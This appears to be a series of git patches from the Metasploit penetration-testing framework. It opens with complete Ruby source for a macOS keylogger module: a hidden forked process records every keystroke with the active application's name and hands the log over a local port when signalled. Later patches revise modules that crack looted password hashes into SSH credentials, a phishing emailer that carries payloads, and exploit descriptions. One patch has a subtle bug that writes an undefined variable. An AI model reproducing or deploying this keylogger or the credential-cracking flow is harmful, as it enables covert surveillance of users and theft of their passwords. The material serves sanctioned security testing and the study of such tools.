log_a.join("\n")+"\n" + print_status "#{log_a.size} keystrokes captured" + if log_a.size > 0 + if self.loot_path.nil? + self.loot_path = store_loot( + "keylog", "text/plain", session, log, "keylog.log", "OSX keylog" + ) + else + File.open(self.loot_path, 'a') { |f| f.write(log) } + end + print_status(log_a.map{ |a| a=~/([^\s]+)\s*$/; $1 }.join) + print_status "Saved to #{self.loot_path}" + end + end + end + rescue ::Timeout::Error + print_status "Keylogger run completed." + end + end + + + def kill_process(pid) + print_status "Killing process #{pid.to_i}" + cmd_exec("kill #{pid.to_i}") + end + + def cleanup + return if not @cleaning_up.nil? + @cleaning_up = true + + return if session.nil? + + if @pid.to_i > 0 + print_status("Cleaning up...") + kill_process(@pid) + end + end + + def ruby_code(opts={}) + <<-EOS +# Kick off a child process and let parent die +child_pid = fork do + require 'thread' + require 'dl' + require 'dl/import' + + + options = { + :duration => #{opts[:duration]}, + :port => #{opts[:port]} + } + + + #### Patches to DL (for compatibility between 1.8->1.9) + + Importer = if defined?(DL::Importer) then DL::Importer else DL::Importable end + + def ruby_1_9_or_higher? + RUBY_VERSION.to_f >= 1.9 + end + + def malloc(size) + if ruby_1_9_or_higher? + DL::CPtr.malloc(size) + else + DL::malloc(size) + end + end + + # the old Ruby Importer defaults methods to downcase every import + # This is annoying, so we'll patch with method_missing + if not ruby_1_9_or_higher? + module DL + module Importable + def method_missing(meth, *args, &block) + str = meth.to_s + lower = str[0,1].downcase + str[1..-1] + if self.respond_to? lower + self.send lower, *args + else + super + end + end + end + end + end + + #### 1-way IPC #### + + log = '' + log_semaphore = Mutex.new + Signal.trap("USR1") do # signal used for port knocking + if not @server_listening + @server_listening = true + Thread.new do + require 'socket' + server = TCPServer.new(options[:port]) + client = server.accept + log_semaphore.synchronize do + client.puts(log+"\n\r") + log = '' + end + client.close + server.close + @server_listening = false + end + end + end + + #### External dynamically linked code + + SM_KCHR_CACHE = 38 + SM_CURRENT_SCRIPT = -2 + MAX_APP_NAME = 80 + + module Carbon + extend Importer + dlload 'Carbon.framework/Carbon' + extern 'unsigned long CopyProcessName(const ProcessSerialNumber *, void *)' + extern 'void GetFrontProcess(ProcessSerialNumber *)' + extern 'void GetKeys(void *)' + extern 'unsigned char *GetScriptVariable(int, int)' + extern 'unsigned char KeyTranslate(void *, int, void *)' + extern 'unsigned char CFStringGetCString(void *, void *, int, int)' + extern 'int CFStringGetLength(void *)' + end + + psn = malloc(16) + name = malloc(16) + name_cstr = malloc(MAX_APP_NAME) + keymap = malloc(16) + state = malloc(8) + + #### Actual Keylogger code + + itv_start = Time.now.to_i + prev_down = Hash.new(false) + + while (true) do + Carbon.GetFrontProcess(psn.ref) + Carbon.CopyProcessName(psn.ref, name.ref) + Carbon.GetKeys(keymap) + + str_len = Carbon.CFStringGetLength(name) + copied = Carbon.CFStringGetCString(name, name_cstr, MAX_APP_NAME, 0x08000100) > 0 + app_name = if copied then name_cstr.to_s else 'Unknown' end + + bytes = keymap.to_str + cap_flag = false + ascii = 0 + + (0...128).each do |k| + # pulled from apple's developer docs for Carbon#KeyMap/GetKeys + if ((bytes[k>>3].ord >> (k&7)) & 1 > 0) + if not prev_down[k] + kchr = Carbon.GetScriptVariable(SM_KCHR_CACHE, SM_CURRENT_SCRIPT) + curr_ascii = Carbon.KeyTranslate(kchr, k, state) + curr_ascii = curr_ascii >> 16 if curr_ascii < 1 + prev_down[k] = true + if curr_ascii == 0 + cap_flag = true + else + ascii = curr_ascii + end + end + else + prev_down[k] = false + end + end + + if ascii != 0 # cmd/modifier key. not sure how to look this up. assume shift. + log_semaphore.synchronize do + if ascii > 32 and ascii < 127 + c = if cap_flag then ascii.chr.upcase else ascii.chr end + log = log << "[\#{Time.now.to_i}] [\#{app_name}] \#{c}\n" + else + log = log << "[\#{Time.now.to_i}] [\#{app_name}] [\#{ascii}]\\n" + end + end + end + + exit if Time.now.to_i - itv_start > options[:duration] + Kernel.sleep(0.01) + end +end + +puts child_pid +Process.detach(child_pid) + +EOS + end +end + From 017309d02dd4a47ae517ecf0068cf03f201de6a9 Mon Sep 17 00:00:00 2001 From: Joe Vennix <Joe_Vennix@rapid7.com> Date: Sun, 18 Aug 2013 16:29:34 -0500 Subject: [PATCH 240/454] Minor fixes to keylogger. --- modules/post/osx/gather/keylogger.rb | 23 ++++++++++++----------- 1 file changed, 12 insertions(+), 11 deletions(-) diff --git a/modules/post/osx/gather/keylogger.rb b/modules/post/osx/gather/keylogger.rb index 44a1ad10b1a7f..e291b7020287e 100644 --- a/modules/post/osx/gather/keylogger.rb +++ b/modules/post/osx/gather/keylogger.rb @@ -12,8 +12,10 @@ class Metasploit3 < Msf::Post include Msf::Post::File include Msf::Auxiliary::Report - # the port used for telnet IPC. It is only open after the - # keylogger process is sent a USR1 signal + # when we need to read from the keylogger, + # we first "knock" the process by sending a USR1 signal. + # the keylogger opens a local tcp port (22899 by default) momentarily + # that we can connect to and read from (using cmd_exec(telnet ...)). attr_accessor :port # the pid of the keylogger process @@ -51,7 +53,7 @@ def initialize(info={}) [ true, 'The time between transferring log chunks.', 10 ] ), OptInt.new('LOGPORT', - [ false, 'Local port opened for transferring logs', 22899 ] + [ false, 'Local port opened for momentarily for log transfer', 22899 ] ) ] ) @@ -94,7 +96,7 @@ def run print_status "Waiting #{datastore['SYNCWAIT']} seconds." Rex.sleep(datastore['SYNCWAIT']) print_status "Sending USR1 signal to open TCP port..." - cmd_exec("kill -USR1 #{@pid}") + cmd_exec("kill -USR1 #{self.pid}") print_status "Dumping logs..." log = cmd_exec("telnet localhost #{self.port}") log_a = log.scan(/^\[.+?\] \[.+?\] .*$/) @@ -125,14 +127,13 @@ def kill_process(pid) end def cleanup + return if session.nil? return if not @cleaning_up.nil? @cleaning_up = true - return if session.nil? - - if @pid.to_i > 0 + if self.pid.to_i > 0 print_status("Cleaning up...") - kill_process(@pid) + kill_process(self.pid) end end @@ -190,9 +191,9 @@ def method_missing(meth, *args, &block) log = '' log_semaphore = Mutex.new Signal.trap("USR1") do # signal used for port knocking - if not @server_listening + if not @server_listening @server_listening = true - Thread.new do + Thread.new do require 'socket' server = TCPServer.new(options[:port]) client = server.accept @@ -252,7 +253,7 @@ module Carbon (0...128).each do |k| # pulled from apple's developer docs for Carbon#KeyMap/GetKeys if ((bytes[k>>3].ord >> (k&7)) & 1 > 0) - if not prev_down[k] + if not prev_down[k] kchr = Carbon.GetScriptVariable(SM_KCHR_CACHE, SM_CURRENT_SCRIPT) curr_ascii = Carbon.KeyTranslate(kchr, k, state) curr_ascii = curr_ascii >> 16 if curr_ascii < 1 From 559dfb5a7ea3276b9af378357b946572156468aa Mon Sep 17 00:00:00 2001 From: Nicholas Davis <nicholas_davis@rapid7.com> Date: Sun, 18 Aug 2013 14:49:44 -0700 Subject: [PATCH 241/454] Fix for bug #8297 Fixed getting the policy_hash_list which can fail if elements are null [SeeRM #89297] --- lib/nessus/nessus-xmlrpc.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/nessus/nessus-xmlrpc.rb b/lib/nessus/nessus-xmlrpc.rb index 6c2141d70b459..f661bc707cb24 100644 --- a/lib/nessus/nessus-xmlrpc.rb +++ b/lib/nessus/nessus-xmlrpc.rb @@ -253,9 +253,9 @@ def policy_list_hash policies=Array.new docxml.elements.each('/reply/contents/policies/policies/policy') { |policy| entry=Hash.new - entry['id']=policy.elements['policyID'].text - entry['name']=policy.elements['policyName'].text - entry['comment']=policy.elements['policyComments'].text + entry['id']=policy.elements['policyID'].text if policy.elements['policyID'] + entry['name']=policy.elements['policyName'].text if policy.elements['policyName'] + entry['comment']=policy.elements['policyComments'].text if policy.elements['policyComments'] policies.push(entry) } return policies From f84374329442849b5d286df2b112a7279a06f3bb Mon Sep 17 00:00:00 2001 From: Joe Vennix <Joe_Vennix@rapid7.com> Date: Sun, 18 Aug 2013 18:46:51 -0500 Subject: [PATCH 242/454] Adds fixes from @wchen-r7. --- modules/post/osx/gather/keylogger.rb | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/modules/post/osx/gather/keylogger.rb b/modules/post/osx/gather/keylogger.rb index e291b7020287e..c393309f6ff1b 100644 --- a/modules/post/osx/gather/keylogger.rb +++ b/modules/post/osx/gather/keylogger.rb @@ -52,7 +52,7 @@ def initialize(info={}) OptInt.new('SYNCWAIT', [ true, 'The time between transferring log chunks.', 10 ] ), - OptInt.new('LOGPORT', + OptPort.new('LOGPORT', [ false, 'Local port opened for momentarily for log transfer', 22899 ] ) ] @@ -73,7 +73,7 @@ def run_ruby_code print_status "Ruby process executing with pid #{rpid.to_i}" rpid.to_i else - raise "Ruby keylogger command failed with error #{rpid}" + fail_with(Exploit::Failure::Unknown, "Ruby keylogger command failed with error #{rpid}") end end @@ -84,6 +84,11 @@ def run return end + if datastore['DURATION'].to_i < 1 + print_error 'Invalid DURATION value.' + return + end + print_status "Executing ruby command to start keylogger process." @port = datastore['LOGPORT'].to_i From 86d6bce8c400a33e33aec40981cd2c5093bc5612 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Sun, 18 Aug 2013 20:31:13 -0500 Subject: [PATCH 243/454] [FixRM #8312] - Fix file handle leaks Fix file handle leaks for [SeeRM #8312] --- modules/auxiliary/analyze/jtr_aix.rb | 14 ++- modules/auxiliary/analyze/jtr_linux.rb | 5 +- modules/auxiliary/client/smtp/emailer.rb | 96 +++++++++++++------ modules/auxiliary/gather/d20pass.rb | 27 +++--- .../auxiliary/scanner/sap/sap_icm_urlscan.rb | 7 +- modules/post/windows/gather/enum_chrome.rb | 4 +- 6 files changed, 102 insertions(+), 51 deletions(-) diff --git a/modules/auxiliary/analyze/jtr_aix.rb b/modules/auxiliary/analyze/jtr_aix.rb index 1f172392f9b6e..4254898f433df 100644 --- a/modules/auxiliary/analyze/jtr_aix.rb +++ b/modules/auxiliary/analyze/jtr_aix.rb @@ -31,18 +31,24 @@ def initialize end def run - wordlist = Rex::Quickfile.new("jtrtmp") + begin + wordlist = Rex::Quickfile.new("jtrtmp") - wordlist.write( build_seed().join("\n") + "\n" ) - wordlist.close + wordlist.write( build_seed().join("\n") + "\n" ) + ensure + wordlist.close + end hashlist = Rex::Quickfile.new("jtrtmp") myloots = myworkspace.loots.find(:all, :conditions => ['ltype=?', 'aix.hashes']) unless myloots.nil? or myloots.empty? myloots.each do |myloot| + usf = '' begin - usf = File.open(myloot.path, "rb") + File.open(myloot.path, "rb") do |f| + usf = f.read + end rescue Exception => e print_error("Unable to read #{myloot.path} \n #{e}") next diff --git a/modules/auxiliary/analyze/jtr_linux.rb b/modules/auxiliary/analyze/jtr_linux.rb index 6f724bcd856c2..d91b0aeb866be 100644 --- a/modules/auxiliary/analyze/jtr_linux.rb +++ b/modules/auxiliary/analyze/jtr_linux.rb @@ -49,8 +49,11 @@ def run myloots = myworkspace.loots.where('ltype=?', 'linux.hashes') unless myloots.nil? or myloots.empty? myloots.each do |myloot| + usf = '' begin - usf = File.open(myloot.path, "rb") + File.open(myloot.path, "rb") do |f| + usf = f.read + end rescue Exception => e print_error("Unable to read #{myloot.path} \n #{e}") end diff --git a/modules/auxiliary/client/smtp/emailer.rb b/modules/auxiliary/client/smtp/emailer.rb index 34b17c2937482..569ed58d733c2 100644 --- a/modules/auxiliary/client/smtp/emailer.rb +++ b/modules/auxiliary/client/smtp/emailer.rb @@ -46,42 +46,82 @@ def initialize(info = {}) deregister_options('SUBJECT') end + def load_yaml_conf + opts = {} + + File.open(datastore['YAML_CONFIG'], "rb") do |f| + yamlconf = YAML::load(fileconf) + + opts['to'] = yamlconf['to'] + opts['from'] = yamlconf['from'] + opts['subject'] = yamlconf['subject'] + opts['type'] = yamlconf['type'] + opts['msg_file'] = yamlconf['msg_file'] + opts['wait'] = yamlconf['wait'] + opts['add_name'] = yamlconf['add_name'] + opts['sig'] = yamlconf['sig'] + opts['sig_file'] = yamlconf['sig_file'] + opts['attachment'] = yamlconf['attachment'] + opts['attachment_file'] = yamlconf['attachment_file'] + opts['attachment_file_type'] = yamlconf['attachment_file_type'] + opts['attachment_file_name'] = yamlconf['attachment_file_name'] + + ### payload options ### + opts['make_payload'] = yamlconf['make_payload'] + opts['zip_payload'] = yamlconf['zip_payload'] + opts['msf_port'] = yamlconf['msf_port'] + opts['msf_ip'] = yamlconf['msf_ip'] + opts['msf_payload'] = yamlconf['msf_payload'] + opts['msf_filename'] = yamlconf['msf_filename'] + opts['msf_change_ext'] = yamlconf['msf_change_ext'] + opts['msf_payload_ext'] = yamlconf['msf_payload_ext'] + end + + opts + end + + def load_file(fname) + buf = '' + File.open(fname, 'rb') do |f| + buf = f.read + end + + buf + end + def run - fileconf = File.open(datastore['YAML_CONFIG'], "rb") - yamlconf = YAML::load(fileconf) - - fileto = yamlconf['to'] - from = yamlconf['from'] - subject = yamlconf['subject'] - type = yamlconf['type'] - msg_file = yamlconf['msg_file'] - wait = yamlconf['wait'] - add_name = yamlconf['add_name'] - sig = yamlconf['sig'] - sig_file = yamlconf['sig_file'] - attachment = yamlconf['attachment'] - attachment_file = yamlconf['attachment_file'] + yamlconf = load_yaml_conf + + fileto = yamlconf['to'] + from = yamlconf['from'] + subject = yamlconf['subject'] + type = yamlconf['type'] + msg_file = yamlconf['msg_file'] + wait = yamlconf['wait'] + add_name = yamlconf['add_name'] + sig = yamlconf['sig'] + sig_file = yamlconf['sig_file'] + attachment = yamlconf['attachment'] + attachment_file = yamlconf['attachment_file'] attachment_file_type = yamlconf['attachment_file_type'] attachment_file_name = yamlconf['attachment_file_name'] - ### payload options ### - make_payload = yamlconf['make_payload'] - zip_payload = yamlconf['zip_payload'] - msf_port = yamlconf['msf_port'] - msf_ip = yamlconf['msf_ip'] - msf_payload = yamlconf['msf_payload'] - msf_filename = yamlconf['msf_filename'] - msf_change_ext = yamlconf['msf_change_ext'] - msf_payload_ext = yamlconf['msf_payload_ext'] - + make_payload = yamlconf['make_payload'] + zip_payload = yamlconf['zip_payload'] + msf_port = yamlconf['msf_port'] + msf_ip = yamlconf['msf_ip'] + msf_payload = yamlconf['msf_payload'] + msf_filename = yamlconf['msf_filename'] + msf_change_ext = yamlconf['msf_change_ext'] + msf_payload_ext = yamlconf['msf_payload_ext'] tmp = Dir.tmpdir datastore['MAILFROM'] = from - msg = File.open(msg_file, 'rb').read - email_sig = File.open(sig_file, 'rb').read + msg = load_file(msg_file) + email_sig = load_file(sig_file) if (type !~ /text/i and type !~ /text\/html/i) print_error("YAML config: #{type}") @@ -154,7 +194,7 @@ def run end if sig - data_sig = File.open(sig_file, 'rb').read + data_sig = load_file(sig_file) email_msg_body = "#{email_msg_body}\n#{data_sig}" end @@ -172,7 +212,7 @@ def run if attachment if attachment_file_name - data_attachment = File.open(attachment_file, 'rb').read + data_attachment = load_file(attachment_file) mime_msg.add_part(Rex::Text.encode_base64(data_attachment, "\r\n"), attachment_file_type, "base64", "attachment; filename=\"#{attachment_file_name}\"") end end diff --git a/modules/auxiliary/gather/d20pass.rb b/modules/auxiliary/gather/d20pass.rb index 5dab9a5166f10..e7ec11f7f3b5b 100644 --- a/modules/auxiliary/gather/d20pass.rb +++ b/modules/auxiliary/gather/d20pass.rb @@ -240,19 +240,20 @@ def parseusers(f, userentryptr) def parse(fh) print_status("Parsing file") - f = File.open(fh.path, 'rb') - used = f.read(4) - if used != "USED" - print_error "Invalid Configuration File!" - return - end - f.seek(0x38) - start = makefptr(f.read(4)) - userptr = findentry(f, "B014USER", start) - if userptr != nil - parseusers(f, userptr) - else - print_error "Error finding the user table in the configuration." + File.open(fh.path, 'rb') do |f| + used = f.read(4) + if used != "USED" + print_error "Invalid Configuration File!" + return + end + f.seek(0x38) + start = makefptr(f.read(4)) + userptr = findentry(f, "B014USER", start) + if userptr != nil + parseusers(f, userptr) + else + print_error "Error finding the user table in the configuration." + end end end diff --git a/modules/auxiliary/scanner/sap/sap_icm_urlscan.rb b/modules/auxiliary/scanner/sap/sap_icm_urlscan.rb index f5c6e24d26280..ef06221f0b4b6 100644 --- a/modules/auxiliary/scanner/sap/sap_icm_urlscan.rb +++ b/modules/auxiliary/scanner/sap/sap_icm_urlscan.rb @@ -81,9 +81,10 @@ def run_host(ip) # Load URLs urls_to_check = [] - f = File.open(url_file) - f.each_line do |line| - urls_to_check.push line + File.open(url_file) do |f| + f.each_line do |line| + urls_to_check.push line + end end print_status("#{rhost}:#{rport} Beginning URL check") diff --git a/modules/post/windows/gather/enum_chrome.rb b/modules/post/windows/gather/enum_chrome.rb index f486f296d6eba..05e01284654b4 100644 --- a/modules/post/windows/gather/enum_chrome.rb +++ b/modules/post/windows/gather/enum_chrome.rb @@ -84,8 +84,8 @@ def extension_mailvelope(username, extname) def parse_prefs(username, filepath) - f = File.open(filepath, 'rb') - until f.eof + prefs = '' + File.open(filepath, 'rb') do |f| prefs = f.read end results = ActiveSupport::JSON.decode(prefs) From abaec32ad65ae70a04d81d0fed2375710ee32d77 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Sun, 18 Aug 2013 23:54:04 -0500 Subject: [PATCH 244/454] What Luke said. "You cannot, in general, place a variable declaration in a begin scope and use it in the ensure scope unless you use nil?. It is better to swap line 35 and line 34." --- modules/auxiliary/analyze/jtr_aix.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/modules/auxiliary/analyze/jtr_aix.rb b/modules/auxiliary/analyze/jtr_aix.rb index 4254898f433df..6bed26485398e 100644 --- a/modules/auxiliary/analyze/jtr_aix.rb +++ b/modules/auxiliary/analyze/jtr_aix.rb @@ -31,9 +31,8 @@ def initialize end def run + wordlist = Rex::Quickfile.new("jtrtmp") begin - wordlist = Rex::Quickfile.new("jtrtmp") - wordlist.write( build_seed().join("\n") + "\n" ) ensure wordlist.close From 89d4f0180df2ba8834554bc3d3f61db5495e108b Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Mon, 19 Aug 2013 12:54:27 -0500 Subject: [PATCH 245/454] Make sure we close hashlist --- modules/auxiliary/analyze/jtr_linux.rb | 135 ++++++++++++------------- 1 file changed, 67 insertions(+), 68 deletions(-) diff --git a/modules/auxiliary/analyze/jtr_linux.rb b/modules/auxiliary/analyze/jtr_linux.rb index d91b0aeb866be..27da6e1844d45 100644 --- a/modules/auxiliary/analyze/jtr_linux.rb +++ b/modules/auxiliary/analyze/jtr_linux.rb @@ -44,84 +44,83 @@ def run wordlist.write( build_seed().join("\n") + "\n" ) wordlist.close - hashlist = Rex::Quickfile.new("jtrtmp") - myloots = myworkspace.loots.where('ltype=?', 'linux.hashes') - unless myloots.nil? or myloots.empty? - myloots.each do |myloot| - usf = '' - begin - File.open(myloot.path, "rb") do |f| - usf = f.read - end - rescue Exception => e - print_error("Unable to read #{myloot.path} \n #{e}") - end - usf.each_line do |row| - row.gsub!(/\n/, ":#{myloot.host.address}\n") - hashlist.write(row) + return if myloots.nil? or myloots.empty? + + loot_data = '' + + myloots.each do |myloot| + usf = '' + begin + File.open(myloot.path, "rb") do |f| + usf = f.read end + rescue Exception => e + print_error("Unable to read #{myloot.path} \n #{e}") end - hashlist.close - - print_status("HashList: #{hashlist.path}") - - print_status("Trying Format:md5 Wordlist: #{wordlist.path}") - john_crack(hashlist.path, :wordlist => wordlist.path, :rules => 'single', :format => 'md5') - print_status("Trying Format:md5 Rule: All4...") - john_crack(hashlist.path, :incremental => "All4", :format => 'md5') - print_status("Trying Format:md5 Rule: Digits5...") - john_crack(hashlist.path, :incremental => "Digits5", :format => 'md5') - - - print_status("Trying Format:des Wordlist: #{wordlist.path}") - john_crack(hashlist.path, :wordlist => wordlist.path, :rules => 'single', :format => 'des') - print_status("Trying Format:des Rule: All4...") - john_crack(hashlist.path, :incremental => "All4", :format => 'des') - print_status("Trying Format:des Rule: Digits5...") - john_crack(hashlist.path, :incremental => "Digits5", :format => 'des') - - print_status("Trying Format:bsdi Wordlist: #{wordlist.path}") - john_crack(hashlist.path, :wordlist => wordlist.path, :rules => 'single', :format => 'bsdi') - print_status("Trying Format:bsdi Rule: All4...") - john_crack(hashlist.path, :incremental => "All4", :format => 'bsdi') - print_status("Trying Format:bsdi Rule: Digits5...") - john_crack(hashlist.path, :incremental => "Digits5", :format => 'bsdi') - - if datastore['Crypt'] - print_status("Trying Format:crypt Wordlist: #{wordlist.path}") - john_crack(hashlist.path, :wordlist => wordlist.path, :rules => 'single', :format => 'crypt') - print_status("Trying Rule: All4...") - john_crack(hashlist.path, :incremental => "All4", :format => 'crypt') - print_status("Trying Rule: Digits5...") - john_crack(hashlist.path, :incremental => "Digits5", :format => 'crypt') + usf.each_line do |row| + row.gsub!(/\n/, ":#{myloot.host.address}\n") + loot_data << row end + end + + hashlist = Rex::Quickfile.new("jtrtmp") + hashlist.write(loot_data) + hashlist.close + + print_status("HashList: #{hashlist.path}") + + print_status("Trying Format:md5 Wordlist: #{wordlist.path}") + john_crack(hashlist.path, :wordlist => wordlist.path, :rules => 'single', :format => 'md5') + print_status("Trying Format:md5 Rule: All4...") + john_crack(hashlist.path, :incremental => "All4", :format => 'md5') + print_status("Trying Format:md5 Rule: Digits5...") + john_crack(hashlist.path, :incremental => "Digits5", :format => 'md5') + + + print_status("Trying Format:des Wordlist: #{wordlist.path}") + john_crack(hashlist.path, :wordlist => wordlist.path, :rules => 'single', :format => 'des') + print_status("Trying Format:des Rule: All4...") + john_crack(hashlist.path, :incremental => "All4", :format => 'des') + print_status("Trying Format:des Rule: Digits5...") + john_crack(hashlist.path, :incremental => "Digits5", :format => 'des') + + print_status("Trying Format:bsdi Wordlist: #{wordlist.path}") + john_crack(hashlist.path, :wordlist => wordlist.path, :rules => 'single', :format => 'bsdi') + print_status("Trying Format:bsdi Rule: All4...") + john_crack(hashlist.path, :incremental => "All4", :format => 'bsdi') + print_status("Trying Format:bsdi Rule: Digits5...") + john_crack(hashlist.path, :incremental => "Digits5", :format => 'bsdi') + + if datastore['Crypt'] + print_status("Trying Format:crypt Wordlist: #{wordlist.path}") + john_crack(hashlist.path, :wordlist => wordlist.path, :rules => 'single', :format => 'crypt') + print_status("Trying Rule: All4...") + john_crack(hashlist.path, :incremental => "All4", :format => 'crypt') + print_status("Trying Rule: Digits5...") + john_crack(hashlist.path, :incremental => "Digits5", :format => 'crypt') + end - cracked = john_show_passwords(hashlist.path) + cracked = john_show_passwords(hashlist.path) - print_status("#{cracked[:cracked]} hashes were cracked!") + print_status("#{cracked[:cracked]} hashes were cracked!") - cracked[:users].each_pair do |k,v| - if v[0] == "NO PASSWORD" - passwd="" - else - passwd=v[0] - end - print_good("Host: #{v.last} User: #{k} Pass: #{passwd}") - report_auth_info( - :host => v.last, - :port => 22, - :sname => 'ssh', - :user => k, - :pass => passwd - ) + cracked[:users].each_pair do |k,v| + if v[0] == "NO PASSWORD" + passwd="" + else + passwd=v[0] end + print_good("Host: #{v.last} User: #{k} Pass: #{passwd}") + report_auth_info( + :host => v.last, + :port => 22, + :sname => 'ssh', + :user => k, + :pass => passwd + ) end - end - - - end From 11ef3668187d974277c23919313215698727d545 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Mon, 19 Aug 2013 13:14:13 -0500 Subject: [PATCH 246/454] Properly close hashlist --- modules/auxiliary/analyze/jtr_aix.rb | 84 ++++++++++++++-------------- 1 file changed, 43 insertions(+), 41 deletions(-) diff --git a/modules/auxiliary/analyze/jtr_aix.rb b/modules/auxiliary/analyze/jtr_aix.rb index 6bed26485398e..689986e6be4d2 100644 --- a/modules/auxiliary/analyze/jtr_aix.rb +++ b/modules/auxiliary/analyze/jtr_aix.rb @@ -38,58 +38,60 @@ def run wordlist.close end - hashlist = Rex::Quickfile.new("jtrtmp") - myloots = myworkspace.loots.find(:all, :conditions => ['ltype=?', 'aix.hashes']) - unless myloots.nil? or myloots.empty? - myloots.each do |myloot| - usf = '' - begin - File.open(myloot.path, "rb") do |f| - usf = f.read - end - rescue Exception => e - print_error("Unable to read #{myloot.path} \n #{e}") - next - end - usf.each_line do |row| - row.gsub!(/\n/, ":#{myloot.host.address}\n") - hashlist.write(row) + return if myloots.nil? or myloots.empty? + + loot_data = '' + + myloots.each do |myloot| + usf = '' + begin + File.open(myloot.path, "rb") do |f| + usf = f.read end + rescue Exception => e + print_error("Unable to read #{myloot.path} \n #{e}") + next + end + usf.each_line do |row| + row.gsub!(/\n/, ":#{myloot.host.address}\n") + loot_data << row end - hashlist.close + end - print_status("HashList: #{hashlist.path}") + hashlist = Rex::Quickfile.new("jtrtmp") + hashlist.write(row) + hashlist.close - print_status("Trying Format:des Wordlist: #{wordlist.path}") - john_crack(hashlist.path, :wordlist => wordlist.path, :rules => 'single', :format => 'des') - print_status("Trying Format:des Rule: All4...") - john_crack(hashlist.path, :incremental => "All4", :format => 'des') - print_status("Trying Format:des Rule: Digits5...") - john_crack(hashlist.path, :incremental => "Digits5", :format => 'des') + print_status("HashList: #{hashlist.path}") - cracked = john_show_passwords(hashlist.path) + print_status("Trying Format:des Wordlist: #{wordlist.path}") + john_crack(hashlist.path, :wordlist => wordlist.path, :rules => 'single', :format => 'des') + print_status("Trying Format:des Rule: All4...") + john_crack(hashlist.path, :incremental => "All4", :format => 'des') + print_status("Trying Format:des Rule: Digits5...") + john_crack(hashlist.path, :incremental => "Digits5", :format => 'des') + cracked = john_show_passwords(hashlist.path) - print_status("#{cracked[:cracked]} hashes were cracked!") - cracked[:users].each_pair do |k,v| - if v[0] == "NO PASSWORD" - passwd="" - else - passwd=v[0] - end - print_good("Host: #{v.last} User: #{k} Pass: #{passwd}") - report_auth_info( - :host => v.last, - :port => 22, - :sname => 'ssh', - :user => k, - :pass => passwd - ) + print_status("#{cracked[:cracked]} hashes were cracked!") + + cracked[:users].each_pair do |k,v| + if v[0] == "NO PASSWORD" + passwd="" + else + passwd=v[0] end + print_good("Host: #{v.last} User: #{k} Pass: #{passwd}") + report_auth_info( + :host => v.last, + :port => 22, + :sname => 'ssh', + :user => k, + :pass => passwd + ) end - end end From 4cef4e88a62087cf2b2fd3420fe65f78bbe5f8f7 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Mon, 19 Aug 2013 13:21:53 -0500 Subject: [PATCH 247/454] If exception hits, make sure it's closed. --- modules/auxiliary/analyze/jtr_linux.rb | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/analyze/jtr_linux.rb b/modules/auxiliary/analyze/jtr_linux.rb index 27da6e1844d45..e01325887f7a7 100644 --- a/modules/auxiliary/analyze/jtr_linux.rb +++ b/modules/auxiliary/analyze/jtr_linux.rb @@ -41,8 +41,11 @@ def initialize def run wordlist = Rex::Quickfile.new("jtrtmp") - wordlist.write( build_seed().join("\n") + "\n" ) - wordlist.close + begin + wordlist.write( build_seed().join("\n") + "\n" ) + ensure + wordlist.close + end myloots = myworkspace.loots.where('ltype=?', 'linux.hashes') return if myloots.nil? or myloots.empty? From ca313806ae00bb2b9f74022302470da52c36950c Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Mon, 19 Aug 2013 13:24:38 -0500 Subject: [PATCH 248/454] Trivial grammar and word choice fixes for modules --- modules/auxiliary/scanner/http/cisco_ironport_enum.rb | 2 +- modules/exploits/multi/browser/java_storeimagearray.rb | 6 +++--- .../windows/http/cogent_datahub_request_headers_bof.rb | 2 +- modules/exploits/windows/http/intrasrv_bof.rb | 2 +- modules/exploits/windows/http/ultraminihttp_bof.rb | 2 +- 5 files changed, 7 insertions(+), 7 deletions(-) diff --git a/modules/auxiliary/scanner/http/cisco_ironport_enum.rb b/modules/auxiliary/scanner/http/cisco_ironport_enum.rb index 270b51401006f..4d3026754c2f7 100644 --- a/modules/auxiliary/scanner/http/cisco_ironport_enum.rb +++ b/modules/auxiliary/scanner/http/cisco_ironport_enum.rb @@ -20,7 +20,7 @@ def initialize(info={}) 'Name' => 'Cisco Ironport Bruteforce Login Utility', 'Description' => %{ This module scans for Cisco Ironport SMA, WSA and ESA web login portals, finds AsyncOS - version and performs login brute force to identify valid credentials. + versions, and performs login brute force to identify valid credentials. }, 'Author' => [ diff --git a/modules/exploits/multi/browser/java_storeimagearray.rb b/modules/exploits/multi/browser/java_storeimagearray.rb index 6d2223e78d402..6d405f4e13c43 100644 --- a/modules/exploits/multi/browser/java_storeimagearray.rb +++ b/modules/exploits/multi/browser/java_storeimagearray.rb @@ -21,8 +21,8 @@ def initialize( info = {} ) 'Name' => 'Java storeImageArray() Invalid Array Indexing Vulnerability', 'Description' => %q{ This module abuses an Invalid Array Indexing Vulnerability on the - static function storeImageArray() function in order to produce a - memory corruption and finally escape the Java Sandbox. The vulnerability + static function storeImageArray() function in order to cause a + memory corruption and escape the Java Sandbox. The vulnerability affects Java version 7u21 and earlier. The module, which doesn't bypass click2play, has been tested successfully on Java 7u21 on Windows and Linux systems. @@ -154,4 +154,4 @@ def generate_jar(cli) return jar.pack end -end \ No newline at end of file +end diff --git a/modules/exploits/windows/http/cogent_datahub_request_headers_bof.rb b/modules/exploits/windows/http/cogent_datahub_request_headers_bof.rb index 2772815006f83..753b0ae289144 100644 --- a/modules/exploits/windows/http/cogent_datahub_request_headers_bof.rb +++ b/modules/exploits/windows/http/cogent_datahub_request_headers_bof.rb @@ -18,7 +18,7 @@ def initialize(info = {}) 'Name' => 'Cogent DataHub HTTP Server Buffer Overflow', 'Description' => %q{ This module exploits a stack based buffer overflow on Cogent DataHub 7.3.0. The - vulnerability exists in the HTTP server - while handling HTTP headers, a + vulnerability exists in the HTTP server. While handling HTTP headers, a strncpy() function is used in a dangerous way. This module has been tested successfully on Cogent DataHub 7.3.0 